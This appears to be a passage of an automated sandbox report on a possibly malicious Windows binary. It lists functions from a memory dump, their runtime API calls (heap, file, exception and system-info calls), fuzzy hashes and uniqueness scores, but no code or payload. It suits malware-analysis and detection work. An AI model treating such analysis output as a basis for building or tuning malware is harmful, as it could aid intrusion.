Opcode ID: 9d663fb70f19bd088a0314e5f63e7513329a27df8b5e53721994dcb727eba878
Instruction ID: e18d1733eb4e850ed2efdfdd3977f0e461fcb2ca431b552f944d405d891bda8f
Opcode Fuzzy Hash: 9d663fb70f19bd088a0314e5f63e7513329a27df8b5e53721994dcb727eba878
Instruction Fuzzy Hash: E1315A74900A09DFDB24DF64DC51BEEB7B8FF04325F908199E815A7681DB30AA48CF50

Uniqueness

Uniqueness Score: 0.31%

Function 000AF6C0, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 000ADD80: ___std_exception_copy.LIBVCRUNTIME ref: 000AE012

__CxxThrowException@8.LIBVCRUNTIME ref: 000AF759

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,DB2C627E,0016AD84,DB2C627E), ref: 00104817

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: ExceptionException@8FeaturePresentProcessorRaiseThrow___raise_securityfailure___std_exception_copy
String ID:
API String ID: 47518721-0
Opcode ID: 86632f6e0a79e0c910215088085d9279acefa3af20ce64f073d2a8c1b5bbfb63
Instruction ID: 4dfda3409f10bfab0de01132594998b622d8b80c5e3a9579ee1e60cb8a2a47d3
Opcode Fuzzy Hash: 86632f6e0a79e0c910215088085d9279acefa3af20ce64f073d2a8c1b5bbfb63
Instruction Fuzzy Hash: 5C115175A04248AFCB14DF99DC44EAEBBB8FF89710F10451AF91697741DB34A904CB50

Uniqueness

Uniqueness Score: 0.31%

Function 000AA8F0, Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,00000000,?,00000000), ref: 000AA904

Part of subcall function 000AA410: CreateFileW.KERNEL32(000000FF,00000008,00000007,00000000,00000003,02200000,00000000), ref: 000AA453
Part of subcall function 000AA410: DeviceIoControl.KERNEL32(00000000,000900A8,00000000,00000000,00000000,00004000,?,00000000), ref: 000AA49A
Part of subcall function 000AA410: CloseHandle.KERNEL32(00000000), ref: 000AA4D4

Part of subcall function 000AA7C0: GetLastError.KERNEL32(DB2C627E,?,?,00000000), ref: 000AA7F7
Part of subcall function 000AA7C0: __CxxThrowException@8.LIBVCRUNTIME ref: 000AA8DB

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: File$AttributesCloseControlCreateDeviceErrorException@8HandleLastThrow
String ID:
API String ID: 2567390628-0
Opcode ID: f5b66574f8244251228a968910dac7409304af876384a21a60a1b63d1e12e549
Instruction ID: 101b294355569a48580eb00b931651b4e6a7088b97df794cb85aac1f9437d03b
Opcode Fuzzy Hash: f5b66574f8244251228a968910dac7409304af876384a21a60a1b63d1e12e549
Instruction Fuzzy Hash: 7C01C0757002004BEB10AA58FC857C777D4EB46735F480425ED4487292E36AD84DD7E2

Uniqueness

Uniqueness Score: 0.01%

Function 0006B090, Relevance: 1.6, APIs: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 000ECF08: __CxxThrowException@8.LIBVCRUNTIME ref: 000EE12F

std::locale::_Init.LIBCPMT ref: 0006B0CE

Part of subcall function 000D977E: __EH_prolog3.LIBCMT ref: 000D9785
Part of subcall function 000D977E: std::_Lockit::_Lockit.LIBCPMT ref: 000D9790
Part of subcall function 000D977E: std::locale::_Setgloballocale.LIBCPMT ref: 000D97AB
Part of subcall function 000D977E: std::_Lockit::~_Lockit.LIBCPMT ref: 000D9801

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: Lockitstd::_std::locale::_$Exception@8H_prolog3InitLockit::_Lockit::~_SetgloballocaleThrow
String ID:
API String ID: 494644009-0
Opcode ID: b53ab43c03112804bd9cc3d5cc41a6fd6e38970b67c9acd9cf51a06ed526b2c0
Instruction ID: 38c18a1fdb609c1b2129a57d3b61cf1684c796a9edac5d37f74ac694d55e85b6
Opcode Fuzzy Hash: b53ab43c03112804bd9cc3d5cc41a6fd6e38970b67c9acd9cf51a06ed526b2c0
Instruction Fuzzy Hash: D821C3B5604A0AAFD301CF15D941B91FBF4FB09710F00426AE81987B90E7B5B924CFD0

Uniqueness

Uniqueness Score: 1.64%

Function 00123FD7, Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 00124015

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: ec269a2cae283bf05f6a1303c17c8b73cf38830cb778d6119c0225e58113ebb5
Instruction ID: 00a23c44bdfd5a4de9c47795a1288e9da58b49cf4c57c24acfadba0cd5082ac3
Opcode Fuzzy Hash: ec269a2cae283bf05f6a1303c17c8b73cf38830cb778d6119c0225e58113ebb5
Instruction Fuzzy Hash: 301145B190420AAFCB05DF58E94199A7BF9EF48300F0140A9FC08AB351D730EA25CBA9

Uniqueness

Uniqueness Score: 0.60%

Function 00124F8A, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

Part of subcall function 0011C726: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0011E0BD,00000001,00000364,?,00124E06,?,00000004,?,?,?,?,001197EF), ref: 0011C767

_free.LIBCMT ref: 00124FF6

Part of subcall function 0011D5C7: HeapFree.KERNEL32(00000000,00000000), ref: 0011D5DD
Part of subcall function 0011D5C7: GetLastError.KERNEL32(?,?,00125B25,?,00000000,?,00000000,?,00125DC9,?,00000007,?,?,001261BD,?,?), ref: 0011D5EF

Part of subcall function 0011F51B: InitializeCriticalSectionAndSpinCount.KERNELBASE(00000000,00000FA0,0016F2A0,00000FA0,00000000,B2AB117A,?,0016C2A8,0000000C,?,00000001,?,0006B1C9,00000000,00000000,DB2C627E), ref: 0011F566

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: Heap$AllocateCountCriticalErrorFreeInitializeLastSectionSpin_free
String ID:
API String ID: 3559933012-0
Opcode ID: dc88123181be8a387948b65ab28e6d9f0cad8c14fac6f90b1d5cf07d7f48d279
Instruction ID: 39707cbbe22b173d261d0ac9508033605aaff7fe3ce848ff73a787762dc71521
Opcode Fuzzy Hash: dc88123181be8a387948b65ab28e6d9f0cad8c14fac6f90b1d5cf07d7f48d279
Instruction Fuzzy Hash: A401F5732043056BE7358F69E88599AFBEDEBC9370F26062DE594932C0EB30A945C774

Uniqueness

Uniqueness Score: 0.14%

Function 000B3B40, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

Part of subcall function 000DAA35: std::_Lockit::_Lockit.LIBCPMT ref: 000DAA5E
Part of subcall function 000DAA35: std::_Lockit::~_Lockit.LIBCPMT ref: 000DAA86

__CxxThrowException@8.LIBVCRUNTIME ref: 000B3B9E

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,DB2C627E,0016AD84,DB2C627E), ref: 00104817

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: Lockitstd::_$ExceptionException@8Lockit::_Lockit::~_RaiseThrow
String ID:
API String ID: 51420344-0
Opcode ID: a1cfe54c3c81b4223e93ad493bc83e67a62514ec18af28794e92493c56357308
Instruction ID: 9ea5a3a6c70d5fcfd57ca0e181b72d1565be48a69af4857cd929713afb7da2da
Opcode Fuzzy Hash: a1cfe54c3c81b4223e93ad493bc83e67a62514ec18af28794e92493c56357308
Instruction Fuzzy Hash: 69F0E932E4020827C61076E89D03FEEB39C4F65711F040279FE04A6287FB90AA5581E7

Uniqueness

Uniqueness Score: 0.31%

Function 001113E8, Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 0011F3EE: GetSystemTimeAsFileTime.KERNEL32(00000000,00111484), ref: 0011F42D

__alldvrm.LIBCMT ref: 0011143D

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: Time$FileSystem__alldvrm
String ID:
API String ID: 1957942172-0
Opcode ID: f2fd91ee9194ae70ef763b8cfaff0cf97e8f59d9c94fe4b424b72345da0562ed
Instruction ID: 732dc218f6d6d8d44da08ce14ca560f5e5ad2461d5dd7a02cb9d490492a2ac5b
Opcode Fuzzy Hash: f2fd91ee9194ae70ef763b8cfaff0cf97e8f59d9c94fe4b424b72345da0562ed
Instruction Fuzzy Hash: 7C01F571910308BFDB28DF64C842BEEB7A8EB11716F15843DE845D7501D3709D808790

Uniqueness

Uniqueness Score: 0.92%

Function 0011C726, Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0011E0BD,00000001,00000364,?,00124E06,?,00000004,?,?,?,?,001197EF), ref: 0011C767

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 0cd413bcf0681145c912c972fecfe8784c23f27cdc988c9ed1201bf9f828750d
Instruction ID: 8d777b4dcdb30209976aa3786dda545ee661a876eb1f3f5a2da6c0dded8b2160
Opcode Fuzzy Hash: 0cd413bcf0681145c912c972fecfe8784c23f27cdc988c9ed1201bf9f828750d
Instruction Fuzzy Hash: 45F0E931685628ABDB2D5F329C06BEA774C9F51B70B198532FC08970D0DBB1D9C19EE1

Uniqueness

Uniqueness Score: 0.01%

Function 000ECF08, Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 000EE12F

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,DB2C627E,0016AD84,DB2C627E), ref: 00104817

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: ExceptionException@8RaiseThrow
String ID:
API String ID: 3976011213-0
Opcode ID: a988e9b17c593ca8c805680accb9e1b83dc1130787e1435b2fa5135052e50280
Instruction ID: 051bc1215629344bc939cd005536fbb2b4cb6e46a465f1bc3bf141fa05007323
Opcode Fuzzy Hash: a988e9b17c593ca8c805680accb9e1b83dc1130787e1435b2fa5135052e50280
Instruction Fuzzy Hash: F9E0683040434EBECB187A66DC06CDC33AD0F00360B204631F928B40E2EB71D9E688D0

Uniqueness

Uniqueness Score: 0.31%

Function 00119DC0, Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

Part of subcall function 0011C726: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0011E0BD,00000001,00000364,?,00124E06,?,00000004,?,?,?,?,001197EF), ref: 0011C767

_free.LIBCMT ref: 00119DE0

Part of subcall function 0011D5C7: HeapFree.KERNEL32(00000000,00000000), ref: 0011D5DD
Part of subcall function 0011D5C7: GetLastError.KERNEL32(?,?,00125B25,?,00000000,?,00000000,?,00125DC9,?,00000007,?,?,001261BD,?,?), ref: 0011D5EF

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: Heap$AllocateErrorFreeLast_free
String ID:
API String ID: 314386986-0
Opcode ID: d4d94d18447589c6884c06d4fef4235e4e6fa0e1e075aa50b7df9cde295f9c4a
Instruction ID: fe3c263f72846b5f20e33d74c57483482ccea20848cc801c255a37b0e4613543
Opcode Fuzzy Hash: d4d94d18447589c6884c06d4fef4235e4e6fa0e1e075aa50b7df9cde295f9c4a
Instruction Fuzzy Hash: CFF08CB1A00309AFC710EF68D442B8AB7F8EF48710F104166E918D7340E771A9508BD1

Uniqueness

Uniqueness Score: 0.14%

Function 0012A4B3, Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 0012B7F1: MultiByteToWideChar.KERNEL32(?,00000000,00000000,000000FF,00000000,00000000,?,?,0012401A,?,?,0012A4C9,00000000,00000000), ref: 0012B84C
Part of subcall function 0012B7F1: GetLastError.KERNEL32(?,00000000,00000000,000000FF,00000000,00000000,?,?,0012401A,?,?,0012A4C9,00000000,00000000), ref: 0012B859
Part of subcall function 0012B7F1: __dosmaperr.LIBCMT ref: 0012B860
Part of subcall function 0012B7F1: MultiByteToWideChar.KERNEL32(?,00000000,00000000,000000FF,00000000,00000000,?,00000000,00000000,000000FF,00000000,00000000,?,?,0012401A), ref: 0012B883
Part of subcall function 0012B7F1: GetLastError.KERNEL32(?,00000000,00000000,000000FF,00000000,00000000,?,00000000,00000000,000000FF,00000000,00000000,?,?,0012401A), ref: 0012B88D
Part of subcall function 0012B7F1: __dosmaperr.LIBCMT ref: 0012B894
Part of subcall function 0012B7F1: _free.LIBCMT ref: 0012B8A9

Part of subcall function 0012A524: GetLastError.KERNEL32 ref: 0012A638
Part of subcall function 0012A524: __dosmaperr.LIBCMT ref: 0012A63F
Part of subcall function 0012A524: GetFileType.KERNELBASE(00000000), ref: 0012A64B
Part of subcall function 0012A524: GetLastError.KERNEL32 ref: 0012A655
Part of subcall function 0012A524: __dosmaperr.LIBCMT ref: 0012A65E
Part of subcall function 0012A524: CloseHandle.KERNEL32(00000000), ref: 0012A67E
Part of subcall function 0012A524: CloseHandle.KERNEL32(?), ref: 0012A7C8
Part of subcall function 0012A524: GetLastError.KERNEL32 ref: 0012A7FA
Part of subcall function 0012A524: __dosmaperr.LIBCMT ref: 0012A801

_free.LIBCMT ref: 0012A4F4

Part of subcall function 0011D5C7: HeapFree.KERNEL32(00000000,00000000), ref: 0011D5DD
Part of subcall function 0011D5C7: GetLastError.KERNEL32(?,?,00125B25,?,00000000,?,00000000,?,00125DC9,?,00000007,?,?,001261BD,?,?), ref: 0011D5EF

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: ErrorLast$__dosmaperr$ByteCharCloseHandleMultiWide_free$FileFreeHeapType
String ID:
API String ID: 3622515093-0
Opcode ID: 49c76df31ca468eb88c640dfd973bce3409374ebffda49f3bfa517cd4a3a05fb
Instruction ID: 9aa8d86286fb7e575f96743bc5272ae6469f06c106cffe6feb170b4a3a26b4d5
Opcode Fuzzy Hash: 49c76df31ca468eb88c640dfd973bce3409374ebffda49f3bfa517cd4a3a05fb
Instruction Fuzzy Hash: DEF09A32410018BBCF005E96EC01CDF3B6EEF89324F200111F91492050DB36CA31A7A1

Uniqueness

Uniqueness Score: 0.14%

Function 0011FE9E, Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

Part of subcall function 0011D9CA: RtlAllocateHeap.NTDLL(00000000,?,00000004,?,0011D976,?,00000000,?,00124E06,?,00000004,?,?,?,?,001197EF), ref: 0011D9FC

_free.LIBCMT ref: 0011FEBE

Part of subcall function 0011D5C7: HeapFree.KERNEL32(00000000,00000000), ref: 0011D5DD
Part of subcall function 0011D5C7: GetLastError.KERNEL32(?,?,00125B25,?,00000000,?,00000000,?,00125DC9,?,00000007,?,?,001261BD,?,?), ref: 0011D5EF

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: Heap$AllocateErrorFreeLast_free
String ID:
API String ID: 314386986-0
Opcode ID: f31a0001d661c9f4a4146a10b9c1dccc470ab5852332230245b08c0caa32e556
Instruction ID: 6a44b7e8410d75901bda07dce0905ee4f2a8ebf8838d9938453cad999428014b
Opcode Fuzzy Hash: f31a0001d661c9f4a4146a10b9c1dccc470ab5852332230245b08c0caa32e556
Instruction Fuzzy Hash: 32F062B10057048FD3389F10E841792B7F8EB04715F11843EE29B87A92C774A484CB94

Uniqueness

Uniqueness Score: 0.14%

Function 0011D9CA, Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,00000004,?,0011D976,?,00000000,?,00124E06,?,00000004,?,?,?,?,001197EF), ref: 0011D9FC

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 1c6e3129abf55b1bf22a154d4b012428cfe36e9404ce15a247627cfde20f241a
Instruction ID: 61a7b97304a4d09d396ec9de645df4f7a74d9da50fa17bb2412003d150c13654
Opcode Fuzzy Hash: 1c6e3129abf55b1bf22a154d4b012428cfe36e9404ce15a247627cfde20f241a
Instruction Fuzzy Hash: 2AE0E5316051595ADB397B317C017DE3A4C9F517A1F090131EC4893090DF24ECC182E6

Uniqueness

Uniqueness Score: 0.01%

Function 0012A1F2, Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000000,?,0012A5CD,?,?,00000000), ref: 0012A20F

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 1c5795f6b2e76ea5a56c86eb9483ec1d46d909100e35eb344c0521c24d9f551d
Instruction ID: a1abaf0398acdcd52c78808a4a0c6730e76af5d99cd2b058f663c759bed2bcee
Opcode Fuzzy Hash: 1c5795f6b2e76ea5a56c86eb9483ec1d46d909100e35eb344c0521c24d9f551d
Instruction Fuzzy Hash: F2D06C3200010DBBDF028F84DD06EDA3BAAFB4C714F014000BA5856020C736E861AB91

Uniqueness

Uniqueness Score: 0.01%

Function 00051280, Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?), ref: 0005128A

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: b742d3d9eedd2f31a89e3ee2a0fbb221d627f2a1ec91163ed88da92d5df35627
Instruction ID: a28e49ee976ccbe1acec1cbac414683d8ec07b8d418c12fc2f649267e83b3277
Opcode Fuzzy Hash: b742d3d9eedd2f31a89e3ee2a0fbb221d627f2a1ec91163ed88da92d5df35627
Instruction Fuzzy Hash: F1C0127480420C8BC700DFA4998545977FCAB08101B400151EC0C93610E631E8D88792

Uniqueness

Uniqueness Score: 0.02%

Function 000512A0, Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?), ref: 000512AA

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: ee68df7d100ecf2b256eb9ecc6d84d113bfbd283200c4eae37e217b01504fed7
Instruction ID: afafbba6702fd4d465094c2e0c67c7f6138c56027ee9f3f3dd76b64d2859c3a2
Opcode Fuzzy Hash: ee68df7d100ecf2b256eb9ecc6d84d113bfbd283200c4eae37e217b01504fed7
Instruction Fuzzy Hash: 61C0127480420C9BC700DFA4994944977FC9B0C110F400191EC4C93610E631E9D88792

Uniqueness

Uniqueness Score: 0.02%

Function 0005194C, Relevance: 1.5, APIs: 1, Instructions: 3UNIQUE

Download Yara Rule

APIs

Concurrency::details::Security::InitializeCookie.LIBCONCRT ref: 0005194C

Part of subcall function 000F0435: RtlEncodePointer.NTDLL(00179A90), ref: 000F044B
Part of subcall function 000F0435: GetCurrentThread.KERNEL32(?,?,?,?), ref: 000F0463
Part of subcall function 000F0435: GetThreadTimes.KERNEL32(00000000), ref: 000F046A

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: Thread$Concurrency::details::CookieCurrentEncodeInitializePointerSecurity::Times
String ID:
API String ID: 618217145-0
